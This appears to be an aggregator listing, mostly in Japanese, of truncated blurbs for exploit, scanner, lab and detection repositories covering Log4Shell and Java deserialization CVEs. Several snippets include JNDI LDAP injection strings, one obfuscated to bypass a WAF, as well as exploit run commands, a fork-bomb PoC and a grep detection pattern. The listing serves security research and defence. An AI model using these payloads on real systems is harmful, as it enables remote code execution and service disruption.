dubbo-CVE-2023-23638

CVE-2023-23638 学習研究目的のみ ZooKeeper はご自身でご用意ください テスト環境は Java 8 です。他のバージョンは未テストであり、動作を保証しません。 再現時には、DemoConsumer に VM パラメータ -Ddubbo.hessian.allowNonSerializable=true を追加する必要があります。詳細は https://su18.org/post/hessian/serializable を参照してください。 分析記事:...

nmap-log4shell

Apache Log4j RCE CVE-2021-44228 を発見するための Nmap Log4Shell NSE スクリプト nmap-log4shell は、ネットワーク全体で Apache Log4j RCE CVE-2021-44228 の脆弱性を発見するための NSE スクリプトです。このスクリプトは、HTTP ヘッダー デフォルト または TCP/UDP ソケットを介して log4shell エクスプロイトペイロードを注入できます。 脆弱性 CVE-2021-44228 は、Apache Log4j 2 におけるリモートコード実行 RCE...

CVE-2022-21350

なぜ2つのpocなのか 1つは com.51pwn.hktalent.CreatJar.mainargs; 最小ペイロード生成ツールを作成するために使用されます 作成後にもう1つを使用します CVE-2022-21350powerBy51pwn.jar を実行してペイロードを構築する際にエラーが発生しても、ペイロードの使用には影響しません other exp root@kitploit: CVE20202551 CVE20202555 CVE20202883 CVE202014645 CVE202014756 CVE202014825 CVE202014841 CVE20212394...

ModSec-log4j2

ModSecルールのテスト 前提条件 Dockerがインストールされていること Javaがマシンにインストールされていること テストの実行 リポジトリのgit cloneを実行 以下のコマンドを実行してWAF（ModSec）と脆弱なアプリケーションを起動 root@kitploit: docker stack deploy -c docker-compose.yml WAF...

Log4J_0day_RCE

コミュニティに参加 Telegram CVE-2021-44228Apache Log4j Remote Code Execution） 影響を受けるバージョン JNDI-Injection-Exploit を使用して攻撃を実行できます。 rc1 の回避 例: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName WAF の回避 root@kitploit: $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

MyLog4Shell

MyLog4Shell log4j RCE 悪用検出 以下のコマンドとルールを使用して、log4j RCE 脆弱性 CVE-2021-44228 に対する悪用の試みを検索できます。 Grep / Zgrep このコマンドは、/var/log および /usr/var/log フォルダ内の非圧縮ファイルとすべてのサブフォルダを検索します。 root@kitploit: sudo egrep -I -i -r '$|%7Bjndi:ldaps?|rmi|dns|nis|iiop|corba|nds|http:/^\n+' /var/log このコマンドは、/var/log...

Log4j-Exploit-CVE-2021-44228

Log4j-Exploit-CVE-2021-44228 Log4Shell 脆弱性テストツール https://log4shell.tools/ Java を同梱したエクスプロイト。アカウント作成などを避けるためです.. root@kitploit: http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file root@kitploit: pip install -r requirements.txt root@kitploit: $ python3 poc.py --userip...

CVE-2020-8840

CVE-2020-8840 Jackson-databindリモートコード実行脆弱性（CVE-2020-8840）の分析・再現環境コード。 プロジェクト内容： jackson-databind、Fastjsonのペイロード WebServerの悪意のあるクラス コンパイル済みのmarshalsec-0.0.3-SNAPSHOT-all.jar 脆弱性の概要...

dubbo-rce

CVE-2023-23638 学習・研究のみを目的としています ZooKeeper はご自身で用意してください テスト環境は Java 8 です。その他のバージョンは未テストのため、動作を保証できません 再現する際は DemoComsumer に VM 引数を追加する必要があります: -Ddubbo.hessian.allowNonSerializable=true, 詳細は https://su18.org/post/hessian/serializable を参照してください 分析記事:...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Log4Shell 脆弱性 CVE-2021-44228 は、最終的には非常に単純な JNDI インジェクションの欠陥ですが、非常に非常に悪い場所にあります。Log4J は、ログメッセージ内のプレースホルダーを展開する際（またはフォーマットメッセージのパラメーターとして間接的に）JNDI lookup を実行します。...続きを読む PSA: Log4Shell と JNDI インジェクションの現状。 Dockerラボのセットアップ 注: この Dockerfile は元々 Log4Shell sample...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – カスタムロガーにおけるLog4j形式のJNDIインジェクション（シミュレーション） プログラムコード（PythonによるJavaシミュレーション） root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for match in...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 概念验证 Apache Log4j2 版本 =2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时，能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。 为了帮助客户理解此漏洞的工作原理，我们准备了此仓库，内含一个简单但有效的概念验证。 前提条件 本地已安装： Git JDK 11 Maven Python 目前，该任意代码会在 macOS 或 Windows 上启动计算器应用程序，因此此 PoC...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 in Apache Solr Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。 環境 ターゲット solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 で、脆弱性のある Log4j バージョンが実行されています。 攻撃者 kali-lab: nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。 ラボの起動方法 1. コンテナの起動...

CVE-2020-10673

脆弱性の説明 最近、亞信安全ネットワーク攻防ラボは jackson-databind がJNDIインジェクションのブラックリストクラスを1つ更新したことを追跡しました。プロジェクトパッケージにそのクラスのjarが存在し、JDKのバージョンがインジェクション可能なバージョンを満たしている場合、JNDIインジェクションを利用してリモートコード実行が可能です。そのクラスは com.caucho.config.types.ResourceRef です。 脆弱性番号： CVE-2020-10673 Jackson内部番号2660 影響範囲 jackson-databind = 2.10.3...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931 は、Oracle WebLogic の CVE-2023-21839 のパッチをバイパスするものです。 使用方法: JNDI をセットアップします。https://github.com/WhiteHSBG/JNDIExploit/ の特定のものを使用してください。 エクスプロイト: root@kitploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: CVE-2021-44228 の脆弱性を利用してリモートサーバー上でフォーク爆弾を実行する例 1. 攻撃者の LDAP サーバー server モジュール を作成します。このサーバーは文字列とコードの表現 payload モジュール を提供します。 2. 被害者のサンプル victim モジュール を作成し、Log4j に文字列を渡します。 JRE バージョン = 6u211, 7u201, 8u191 および 11.0.1 root@kitploit:...

CVE-2020-8840

CVE-2020-8840：FasterXML/jackson-databind リモートコード実行脆弱性 0x00 はじめに jackson-databind は、FasterXML プロジェクトグループに属するJSON処理ライブラリです。 0x01 脆弱性概要 2月19日、NVDはセキュリティ勧告を公開し、jackson-databind におけるJNDIインジェクションに起因するリモートコード実行脆弱性（CVE-2020-8840）を開示しました。CVSSスコアは9.8です。影響を受けるバージョンの jackson-databind では、一部の xbean-reflect/JND...

cve-2021-44228

CVE-2021-44228 このリポジトリは、悪名高いCVE-2021-44228問題の簡略化されたシミュレーションを示しています。 システムプロパティやその他の辞書構造のルックアップに加えて、Apache Log4jはさまざまな理由でJNDIルックアップ機能も実装しています。 JNDIは、LDAP、DNS、Java RMIレジストリなど、多くのサービスプロバイダからサービスを取得できます。 JNDI自体は単純で安全ではないAPIであり、サードパーティによって制御されるサービスプロバイダからの保護はありません。...

log4jcheck

Log4j CVE-2021-44228 チェッカー マルチスレッドで、URL のリストを POST および GET リクエストとパラメータの組み合わせでチェックします。 NortwaveSecurity 版 から強く影響を受けています。 セットアップ チェックする URL チェックする URL のリストは、次の形式（csv）である必要があります： root@kitploit: description,URL,method,parameters production,example.com/login,POST,"username,password"...

Log4Shell-vulnerability-CVE-2021-44228-

Log4Shell 脅威検出 CVE-2021-44228 概要 このリポジトリは、機械学習ベースのLog4Shell CVE-2021-44228 脅威検出システム の詳細な分析と実装を提供します。内容は以下の通りです： Log4Shellの理解 : その概要と危険性 データセット収集 : ソースと前処理手順 特徴量エンジニアリング : JNDIベースの悪意のあるパターンの抽出 機械学習モデルのトレーニング : ランダムフォレストベースの検出 結果と分析 : パフォーマンス指標と評価グラフ 結論と今後の課題 脅威の概要 - Log4Shell CVE-2021-44228 脆弱性:...